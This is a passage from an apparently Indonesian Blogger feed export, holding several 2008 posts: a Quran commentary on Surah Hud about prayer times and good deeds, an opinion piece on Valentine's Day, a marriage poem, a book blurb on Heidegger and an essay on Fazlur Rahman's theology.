bertaubat, permohonan ampun secara khusus dan tekad untuk tidak mengulanginya. Itu yakni petunjuk-petunjuk yang disampaikan sebelum ini yang sungguh tinggi ilainya dan jauh kedudukannya. Itulah peringatan yang sangat bermanfaat bagi orang-orang yang siap menerimanya dan yang tidak melupakan Allah. Dan di samping shalat, juga bersabarlah dalam menghadapi kesulitan mengerjakan perintah Allah swt. Ini karena tahap kesabaran sulit melaksanakan ketaatan apalagi beristiqamah dan sulit pula meraih sukses dalam kehidupan dunia apalagi akhirat! Sesungguhnya Allah tidak menyia-nyiakan ganjaran al-Muhsinin.&lt;br /&gt;&lt;br /&gt;Kata (زُلَفًا) zulafan adalah bentuk jama’ dari kata (زلفة) zulfah yaitu waktu-waktu yang saling berdekatan. Kata muzdalifah, tempat mengambil batu-batu untuk melontar jumrah ketila melaksanakan haji dinamai demikian karena dia berdekatan dengan Mekkah dan juga berdekatan dengan Arafah. Atas dasar itulah maka banyak ulama’ memahami shalat di waktu itu adalah shalat yang dilaksanakan pada waktu gelap, yakni Maghrib dan Isya’.&lt;br /&gt;&lt;br /&gt;Para Mufassir sepakat mengatakan bahwa shalat yang dimaksud ayat ini adalah shalat wajib. Demikian dinyatakan oleh al-Qurthubi. Mereka hanya berbeda pendapat tentang pengertian tepi dua siang. Ada yang berpendapat, tepi pertama adalah subuh, dan tepi kedua adalah Dhuhur dan Ashar. Ada lagi yang berpendapat kedua tepi itu adalah Subuh dan Maghrib. Ada lagi yang memahami kedua tepi itu adalah Ashar saja. Ada juga yang memahami tepi pertama adalah Subuh saja, dan tepi kedua adalah Dhuhur, Ashar, dan Maghrib. Sedangkan bagian malam adalah Isya’. Pendapat yang dikemukakan pertama adalah yang palin populer. Ini bagi yang berpendapat bahwa yang dimaksud di sini adalah shalat wajib yang lima waktu itu. Ada juga yang memahami ayat ini berbicara tentang shalat sebelum adanya keawajiban shalat lima waktu, yakni shalat yag dilaksanakan dua kali pada siang hari dan shalat di malam hari, sebelum datangnya perintah shalat lima waktu. Sementara kaum sufi memahaminya dalam arti perintah untuk melakukan kegiatan ibadah—baik yang wajib maupun sunah—sepanjang hari.&lt;br /&gt;&lt;br /&gt;Firman-Nya (إِنَّ الْحَسَنَاتِ) Inna al-Hasanat/sesungguhnya kebajikan-kebajikan yakni perbuatan baik yang didasari oleh keimanan dan ketulusan (يُذْهِبْنَ السَّيِّئَاتِ) yudzhibna as-Syayiat/menghapus keburukan-keburukan yakni perbuatan buruk, di samping mengandung makna bahwa Allah swt. mengampuni dosa-dosa kecil apabila seseorang telah mengerjakan amal-amal shaleh, juga mengandung makna bahwa amal-amal shaleh yang dilakukan seseorang secara tulus dan konsisten akan dapat memebentengi dirinya sehingga dengan mudah ia dapat terhindar dari keburukan-keburukan. Makna semacam ini sejalan dengan firman-Nya:&lt;br /&gt;&lt;br /&gt;إِنَّ الصَّلاةَ تَنْهَى عَنِ الْفَحْشَاءِ وَالْمُنْكَرِ&lt;br /&gt;&lt;br /&gt;Sesungguhnya shalat itu mencegah dari (perbuatan- perbuatan) keji dan mungkar. (QS. al-‘Ankabut: 45)&lt;br /&gt;&lt;br /&gt;Kata al-Hasanat/kebajikan-kebajikan ada yang memahaminya dalam pengertian khusus, yakni shalat, atau istighfar. Tetapi pendapat yang lebih baik adalah yang memahami dalam pengertian umum. Namun demikian, kata keburukan-keburukan harus dipahami dalam pengertian umum, tetapi khusus untuk keburukan-keburukan kecil.&lt;br /&gt;&lt;br /&gt;Bahwa ayat ini dipahami sebagai amal baik menghapus dosa kedurhakaan kecil, dipahami oleh ulama’ dari sekian banyak riwayat, antara lain bahwa ada seseorang yang mencium seorang wanita, kemudian datang menyampaikan kesalahannya itu kepada Rasulullah saw. Orang itu berkata: “apakah menyangkut diriku ayat ini turun?” Nabi saw. menjawab: “bagi siapa pun yang melaksanakannya dari umatku.” (HR. Bukhari, Muslim, Tirmidzi, Nasa’i, dan Ibnu Majah melalui Ibnu MAs’ud). Nabi saw. juga bersabda : “bertaqwalah kepada Allah di mana engkau berada, dan ikutkanlah keburukan dengan kebajikan, niscaya Dia menghapusnya.”&lt;br /&gt;&lt;br /&gt;Kata (مُحْسِنِينَ) muhsinin adalah jama’ muhsin. Kata ihsan, menurut al-Harali, sebagaimana dikutip al-Biqa’i, adalah puncak kebaikan amal perbuatan. Bagi seorang hamba, sifat ihsan tercapai saat seseorang memandang dirinya pada diri orang lain sehingga memberi untukorang lain itu apa yang seharusnya diambil untuk dirinya sendiri. Karena itu pula ihsan antara hamba dengan sesama manusia adalah bahwa dia tidak melihat dirinya lagi dan hanya melihat orang lain . Maka dia itulah yang dinamai muhsin. Dan ketika itu dia telah mencapai puncak dari segala amalnya.&lt;br /&gt;&lt;br /&gt;Pernyataan ayat ini bahwa Allah tidak menyia-nyiakan amal al-Muhsinin bukan berarti bahwa kualitas ketaqwaannya labih rendah dari al-Muhsinin, maka boleh jadi amaln-amalannya disia-siakan oleh Allah. Tidak! Ayat ini ketika menyebut kata tersebut mengarahkan pernyataannya kepada mereka yang melaksanakan tuntunan dalam ketiga ayat yang lalu, yakni beristiqamah, tidak melampaui cenderung, dan mengandalkan orang-orang dzalim, serta melaksanakan shalat dan bersabar. Mereka yang melaksanakan petunjuk itu dengan baik dinamai al-Muhsinin.[13]&lt;br /&gt;&lt;br /&gt;TAFSIRUL MUFRADAT (Penafsiran Kata-kata Sulit)&lt;br /&gt;&lt;br /&gt;Tharafu asy-Syai’: Bagian dan ujung dari sesuatu. Sedang Tharafa an-Nahar (dua ujung yang dimaksud adalah pagi dan petang). Diriwayatkan dari al-Hasan, Qatadah, dan adz-Dhahak bahwa yang dimaksud ialah shalat subuh dan ashar.&lt;br /&gt;&lt;br /&gt;az-Zulaf: Jama’ dari zulfa yang artinya bagian dari awal malam karena dekat dari siang. Sedang menurut al-Hasan, yang dimaksud ialah zulfatani (dua bagian dari awal malam), yaitu shalat maghrib dan shalat isya’.&lt;br /&gt;&lt;br /&gt;Dikra: Pelajaran dan nasihat.&lt;br /&gt;&lt;br /&gt;Adz-Dzakirin: Orang-orang yang mengambil pelajaran dan nasihat.&lt;br /&gt;&lt;br /&gt;Pengertian Secara Ijmal&lt;br /&gt;&lt;br /&gt;Setelah Allah swt. memerintahkan Rasul-Nya supaya berlaku istiqamah (lurus) dan tidak melanggar apa yang telah digariskan oleh agama, serta tidak cenderung kepada orang-orang dzalim, maka Dia perintahkan pula supaya melakukan ibadah yang paling utama dan luhur, yang bisa digunakan sebagai pendukung terhadap hal-hal tersebut.&lt;br /&gt;&lt;br /&gt;Penjelasan&lt;br /&gt;&lt;br /&gt;وَأَقِمِ الصَّلاةَ طَرَفَيِ النَّهَارِ وَزُلَفًا مِنَ اللَّيْلِ&lt;br /&gt;&lt;br /&gt;Laksanakanlah shalat menurut cara yang lurus dengan senantiasa mendirikannya pada kedua ujung siang setiap hari dan pada bagian dari malam. Serupa dengan ayat tersebut ialah firman Allah swt. pada surat Thaha:&lt;br /&gt;&lt;br /&gt;وَسَبِّحْ بِحَمْدِ رَبِّكَ قَبْلَ طُلُوعِ الشَّمْسِ وَقَبْلَ غُرُوبِهَا وَمِنْ آنَاءِ اللَّيْلِ فَسَبِّحْ وَأَطْرَافَ النَّهَارِ لَعَلَّكَ تَرْضَى&lt;br /&gt;&lt;br /&gt;“Maka sabarlah kamu atas apa yang mereka katakan, dan bertasbihlah dengan memuji Tuhanmu, sebelum terbit matahari dan sebelum terbenamnya dan bertasbih pulalah pada waktu-waktu di malam hari dan pada waktu-waktu di siang hari, supaya kamu merasa senang.” (Thaha: 130)&lt;br /&gt;&lt;br /&gt;Tasbih di sini bersifat umum, mencakup shalat dan lainnya. Adapun ayat yang tegas mengenai waktu-waktu shalat yang lima, adalah firman Allah swt.:&lt;br /&gt;&lt;br /&gt;فَسُبْحَانَ اللَّهِ حِينَ تُمْسُونَ وَحِينَ تُصْبِحُونَ (١٧)وَلَهُ الْحَمْدُ فِي السَّمَاوَاتِ وَالأرْضِ وَعَشِيًّا وَحِينَ تُظْهِرُونَ&lt;br /&gt;&lt;br /&gt;“Maka bertasbihlah kepada Allah di waktu kamu berada di petang hari dan waktu kamu berada di waktu subuh, dan bagi-Nyalah segala puji di langit dan di bumi dan di waktu kamu berada pada petang hari dan di waktu kamu berada di waktu Zuhur.” (ar-Rum: 17 – 18)&lt;br /&gt;&lt;br /&gt;Petang hari adalah saat antara Dhuhur dan Maghrib, yaitu shalat ashar. Sedang shalat maghrib adalah pada permulaan sahur hari. Dan shalat isya’ dilaksanakan pada akhir kabur hari, yaitu pada saat hilangnya Safak, bekas terakhir dari cahaya siang. Shalat disebutkan secara khusus karena ia merupakan pangkal ibadah yang memberi dorongan kepada iman dan membantu lainnya.&lt;br /&gt;&lt;br /&gt;Kemudian Allah menerangkan pula faidah dari hal tersebut dan hikmahnya, dengan firman-Nya:&lt;br /&gt;&lt;br /&gt;إِنَّ الْحَسَنَاتِ يُذْهِبْنَ السَّيِّئَاتِ&lt;br /&gt;&lt;br /&gt;Sesungguhnya perbuatan-perbuatan yang baik itu menghapuskan keburukan-keburukan dan menghilangkan cela yang ditinggalkan karena amal yang baik merupakan pensucian dan perbaikan jiwaa yang karenanya ia dapat menghapuskan pengaruh dari amal buruk yang melekat dalam jiwa atau perusakan amal-amal buruk terhadapnya.&lt;br /&gt;&lt;br /&gt;ذَلِكَ ذِكْرَى لِلذَّاكِرِينَ&lt;br /&gt;&lt;br /&gt;وَاصْبِرْ فَإِنَّ اللَّهَ لا يُضِيعُ أَجْرَ الْمُحْسِنِينَ .&lt;br /&gt;&lt;br /&gt;[1] Hamka. Tafsir al-Azhar V. Jakarta: Pustaka Panjimas. hal. 169&lt;br /&gt;&lt;br /&gt;[2] Sayyid Quthub. Tafsir Fi Zhilalil Qur’an Jilid 1. ; Jakarta: Gema Insani. 2002. hal. 34&lt;br /&gt;&lt;br /&gt;[3] Ibid&lt;br /&gt;&lt;br /&gt;[4] Quraish Sihab. Tafsir Al-Misbah 4. Jakarta: Lentera Hati. 2001. hal. 51&lt;br /&gt;&lt;br /&gt;[5] Ibid. hal. 52&lt;br /&gt;&lt;br /&gt;[6] Tafsir al-Maraghi 7. Semarang : Toha Putra. 1992. hal. 156.&lt;br /&gt;&lt;br /&gt;[7] Ibid. hal. 53.&lt;br /&gt;&lt;br /&gt;[8] Ibid. Hal. 54.&lt;br /&gt;&lt;br /&gt;[9] Ibnu Katsir. Terjemah Singkat Tafsir Ibnu Katsir. Surabaya: Bina Ilmu. 1986. hal. 227.&lt;br /&gt;&lt;br /&gt;[10] Quraish Shihab. Al-Misbah. hal. 151.&lt;br /&gt;&lt;br /&gt;[11] Ibid. hal. 152.&lt;br /&gt;&lt;br /&gt;[12] Ibid. hal. 53.&lt;br /&gt;&lt;br /&gt;[13] Quraish Shihab. Tafsir Al-Misbah 6. Jakarta: Lentera Hati. 2002. hal. 355&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);font-size:85%;&quot; &gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/tafsir.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWK6CNL7TAWbOgPEWM-3Ddv78Diiwo-4t5siJxwnmpfX3amTeKd6Dxwx3-C04vbL8hEjAeXJF0T3QmfLEnSq7pCRFY5vvaOmahhIMc_9ZmWUHp8rVXWoTK94tNzqqGGfZHsz2x-Qc0_M/s72-c/al2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-3287017380822885539</guid><pubDate>Thu, 01 May 2008 17:56:00 +0000</pubDate><atom:updated>2008-05-01T11:00:30.277-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Opini</category><title>YAUMUL MARHAMAH</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6NEqecwfJEnIfe48D1k0Dkxqq9u9sNLtBl5mORaUEp1bKwdZ20gp3YjhHmlFrLaavb-GuIptsb7pi1LSv0ikEgkYZS9KaodkFvlHP4AostDhyphenhyphenzASD1kUB6_d8e6iyeSBRcn6O_cM-Ydg/s1600-h/tgtb+cin.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6NEqecwfJEnIfe48D1k0Dkxqq9u9sNLtBl5mORaUEp1bKwdZ20gp3YjhHmlFrLaavb-GuIptsb7pi1LSv0ikEgkYZS9KaodkFvlHP4AostDhyphenhyphenzASD1kUB6_d8e6iyeSBRcn6O_cM-Ydg/s320/tgtb+cin.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195470615213002914&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;Tanggal 14 Februari bagi mereka baik dari kalangan remaja maupun dewasa merupakan hari dan bulan yang special, karena bagi mereka bulan ini adalah bulan kasih sayang atau sering disebut valentine&#39;s day. Di mana para pasangan muda-mudi saling berbagi kasih sayang (sayang kebablasan), ini tidak lepasa dari pengaruh budaya Barat yang membawa tradisi atau budaya baru bagi kita orang Timur yang menjunjung tinggi toto kromo atau sopan santun.&lt;br /&gt;Sayangnya sikap sopan santun, menjaga etika atau yang lainnya terkait budaya orang Timur kini telah memudar seiring berkembangnya zaman. Maka dari sinilah terjadi &#39;penodaan&#39; nilai dari kasih sayang tersebut. Tidak sedikit dari mereka merayakan hari kasih sayang (valentine&#39;s day) dengan berhubungan badan layaknya suami-istri (makanya banyak orang tua-tua bilang termasuk salah satu dosen saya kalu bulan februari adalah bulan hilangnya perawan-perawan. muningkin pernah kali ? he...he...) makanya banyak para ustad atau orang yang menjunjung tinggi nilai spiritual (Islam) melarang bahkan mengharamkannya.&lt;br /&gt;Saya kira ini juga tak lepas dari kurang pahamnya tenatang hari kasih sayang yang mencontoh prilaku atau budaya Barat yang gak pantas dilakukan oleh masayarakat Indonesia yang mayoritas Islam. isi selengkapnya klik &lt;a href=&quot;http://my.opera.com/SlendangWetan29/blog/2008/03/05/yaumul-marhamah-hari-kasih-sayang&quot;&gt;di sini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/yaumul-marhamah.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6NEqecwfJEnIfe48D1k0Dkxqq9u9sNLtBl5mORaUEp1bKwdZ20gp3YjhHmlFrLaavb-GuIptsb7pi1LSv0ikEgkYZS9KaodkFvlHP4AostDhyphenhyphenzASD1kUB6_d8e6iyeSBRcn6O_cM-Ydg/s72-c/tgtb+cin.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-1977339541033550989</guid><pubDate>Thu, 01 May 2008 17:32:00 +0000</pubDate><atom:updated>2008-05-01T10:52:18.140-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kreasi</category><title>Cintailah Cinta</title><description>&lt;div align=&quot;center&quot;&gt;&lt;span&gt;                             Istrimu yang kau nikahi&lt;/span&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2t84EtkbgEybkmRddtJ-Z2rv7b66sCjwWNd1G0g3wS4bSBaWcMnB9C4xeCD443IoALvo6y6YF2cF4TH5BsxV7e6bHBGYsLR0Di3Amr4qbVO0iaCypgSsfYb68cQJf3PLzmiyn94EVnS0/s200/bu.jpeg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195468098362167442&quot; /&gt;&lt;span&gt;&lt;br /&gt;tidaklah semulia Khotijah, tidak setakwa Aisyah&lt;br /&gt;pun tidaklah setabah Fatimah,&lt;br /&gt;Istrimu adalah wanita akhir zaman&lt;br /&gt;yang punya cita-cita menjadi sholihah&lt;br /&gt;pernikahan mengajarkan kita kewajiban bersama,&lt;br /&gt;Istri menjadi tanah kamu langit penaungnya&lt;br /&gt;Seandainya istri tulang yang bengkok&lt;br /&gt;hati-hatilah melurusakan&lt;br /&gt;&lt;br /&gt;Suami yang menikahimu&lt;br /&gt;tidaklah semulia Muhammada SAW, tidaklah setaqwa Ibrahim&lt;br /&gt;pun tak setabah Ayub,&lt;br /&gt;Suamimu hanyalah pemuda akhir zaman&lt;br /&gt;yang punya cita-cita membangun keturunan yang sholeh,&lt;br /&gt;Pernikahan mengajarkan kita kewajiban bersama&lt;br /&gt;Suamimu adalah nahkoda kapal kamu navigatornya&lt;br /&gt;yang selalu bisa mendampinginya, seandainya suamimu lupa&lt;br /&gt;bersabarlah memperingatinya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/cintailah-cinta.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2t84EtkbgEybkmRddtJ-Z2rv7b66sCjwWNd1G0g3wS4bSBaWcMnB9C4xeCD443IoALvo6y6YF2cF4TH5BsxV7e6bHBGYsLR0Di3Amr4qbVO0iaCypgSsfYb68cQJf3PLzmiyn94EVnS0/s72-c/bu.jpeg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-5546474855907707670</guid><pubDate>Thu, 01 May 2008 16:27:00 +0000</pubDate><atom:updated>2008-05-01T10:03:43.368-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kreasi</category><title>Alam idea</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivITOn0G9KNdYd4Db3XCCR_Qqjto_9kFBLErysOrheA0gsIjpHxFPIgYY-KlAPuVpr5-TLZSCy89aR5eaR15cJ52zLBe6cGNNdHsPqvJQFK5nliKbtMKPkBGKgn_qkiOgwndfDxNp3Qjc/s1600-h/yt.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivITOn0G9KNdYd4Db3XCCR_Qqjto_9kFBLErysOrheA0gsIjpHxFPIgYY-KlAPuVpr5-TLZSCy89aR5eaR15cJ52zLBe6cGNNdHsPqvJQFK5nliKbtMKPkBGKgn_qkiOgwndfDxNp3Qjc/s400/yt.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195456179827921010&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;Bicara tentang tokoh filsuf Heidegger tak terlepas dari pikirannya yang menakjubkan tetang eksistensi manusia. Dalam perjalanan karir filsafatnya, ia mencoba mengupas tentang eksistensi manusia, baik berada yang diadakan oleh Ada dan pengada lain. Ia juga menelorkan beberapa karya spektakuler salah satunya ialah Being and Time dan Time and Being  yang kini banyak digunakan sebagai bahan referensi sebuah karya ilmiah termasuk salah satunya dalah buku yang berada dihadapan Anda. Sebuah karya spektakuler dari seorang ikhwan, yang mencoba mengupas hakikat manusia baik dari segi psikologis, spritualis, mistis dan filosofis.&lt;br /&gt;Buku yang diberi  judul Antara aku, kau dan Dia ini mencoba mengantarkan kita kejejang “Marifat cinta” dan membuka sebuah realitas hidup ini. Dalam kehidupan ini terdapat hubungan “suami-istri”. Yang pertama hubungan suami-istri itu sendiri, kedua hubungan suami-istri antara manusia dengan manusia yang lainnya, kemudian hubungan suami-sitri antara manusia dengan lingkungan sekitarnya, terus hubungan suami-istri dengan ala mini dan yang etrakhir hungan suami-istri antara manusia dengan Tuhan.&lt;br /&gt;Untuk lebih tahu apa dibalik hungan suami-istri yang selama ini berada baik dalam diri kita maupun berada di luar diri kita, mari kit abaca bersama-sama buku tersebut dengan seksama.&lt;br /&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/bicara-tentang-tokoh-filsuf-heidegger.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivITOn0G9KNdYd4Db3XCCR_Qqjto_9kFBLErysOrheA0gsIjpHxFPIgYY-KlAPuVpr5-TLZSCy89aR5eaR15cJ52zLBe6cGNNdHsPqvJQFK5nliKbtMKPkBGKgn_qkiOgwndfDxNp3Qjc/s72-c/yt.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-2622332125362030917</guid><pubDate>Sat, 12 Apr 2008 15:25:00 +0000</pubDate><atom:updated>2008-12-23T11:55:14.410-08:00</atom:updated><title>Tuhan, Manusia, dan Alam Dalam Perspektif Fazlur Rahman</title><description>&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b&gt; &lt;/b&gt;Sebelum berbicara lebih jauh berkaitan dengan konsep Metafisika Fazlur Rahman, khususnya berkaitan pada tiga persoalan: Tuhan, manusia, dan alam, penulis ingin menggaris bawahi bahwa elaborasi Rahman dalam hal tiga persolan di atas bertitik tolak dari al-Qur`an. &lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Konsep Tuhan seperti dinyatakan di dalam al-Qur`an bagi Rahman pada dasarnya semata-mata adalah fungsional.&lt;/span&gt;&lt;a name=&quot;_ftnref12&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn1&quot; name=&quot;_ftnref1&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[1]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Yakni Tuhan dibutuhkan bukan karena siapa Dia atau bagaimana Dia, tetapi karena apa yang Dia lakukan&lt;/span&gt;&lt;a name=&quot;_ftnref13&quot;&gt;&lt;/a&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;.&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn2&quot; name=&quot;_ftnref2&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[2]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Berangkat dari landasan di atas, hemat penulis, kita dapat mengambil gagasan Rahman tentang Tuhan yang kemudian mewarnai berbagai pandangannya yang lain. Dengan kata lain, pandangan Rahman tentang Tuhan selanjutnya dapat berimplikasi pada bagaimana Rahman melihat segala fenomena di alam ini. Dalam pandangannya, Tuhanlah yang telah menciptakan manusia dan alam raya ini. Tuhan telah menjadikan alam dengan seperangkat aturannya yang dia sebut dengan istilah &lt;i&gt;qadar&lt;/i&gt;. &lt;i&gt;Qadar&lt;/i&gt; baginya bukanlah seperti apa yang dipahami oleh mayoritas para teolog (&lt;i&gt;mutakallimum&lt;/i&gt;) sebagai ketentuan yang deterministik, mengikat serta membatasi kebebasan manusia,&lt;a name=&quot;_ftnref14&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn3&quot; name=&quot;_ftnref3&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[3]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;melainkan segala ketentuan yang ada pada  alam ini, terutama  benda-benda fisik. &lt;i&gt;Qadar&lt;/i&gt; itulah yang memberikan karakteristik dan sifat khusus padanya. Karakteristik dan sifat itulah yang merupakan &lt;i&gt;amar&lt;/i&gt; Tuhan terhadap alam. Karenanya segala yang ada di alam adalah Islam, karena ia tunduk dan patuh terhadap &lt;i&gt;amar&lt;/i&gt; Tuhan. Amar Tuhan itulah yang kemudian menjadi &lt;i&gt;amanah &lt;/i&gt;bagi alam ini. Karenanya, pula, al-Qur`an mengatakan bahwa alam bertasbih kepada Tuhan.&lt;a name=&quot;_ftnref15&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn4&quot; name=&quot;_ftnref4&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[4]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Tuhan menciptakan alam semesta ini bukanlah tanpa tujuan. Ia hendak merealisasikan tujuanNya itu lewat ciptaanNya dan misiNya. Tujaunnya adalah kebaikan. Pada titik ini, hemat penulis, Rahman percaya setidaknya menerima yang disebut dalam terminologi filsafat agama sebagai argumen teologis. Argumen ini menyatakan bahwa alam memiliki tujuan. Alam mengarah kepada suatu tujuan yang lebih tinggi yakni kebaikan.&lt;a name=&quot;_ftnref16&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn5&quot; name=&quot;_ftnref5&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[5]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Argumen ini sejalan dengan argumen lain yakni argumen moral. Argumen ini diajukan  Immanuel Kant, seorang ilmuan juga filosof kenamaan asal Jerman.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Tuhan berfungsi sebagai makrokosmos (alam besar), sedangkan manusia berfungsi sebagai mikrokosmos (alam kecil). Di sini Tuhan yang makrokosmos meliputi manusia yang mikrokosmos. Dialah Tuhan yang meliputi segala realitas yang ada di alam ini. Di dalam al-Qur`an disebutkan, salah satunya, bahwaTuhan memiliki sifat meliputi (&lt;i&gt;al-Muhith&lt;/i&gt;). Dia memiliki segala sifat kebaikan, penolong, bagi kaum muslim yang tertindas dan mengalami kesusahan. Penyayang, bagi kaum muslimin yang taat terhadap perintahNya. Pengasih, pemberi perlindungan, pendidik, dan lain-lain. Semuanya mencerminkan Tuhan yang berfungsi sebagai tertentu seperti disebut di atas. Term 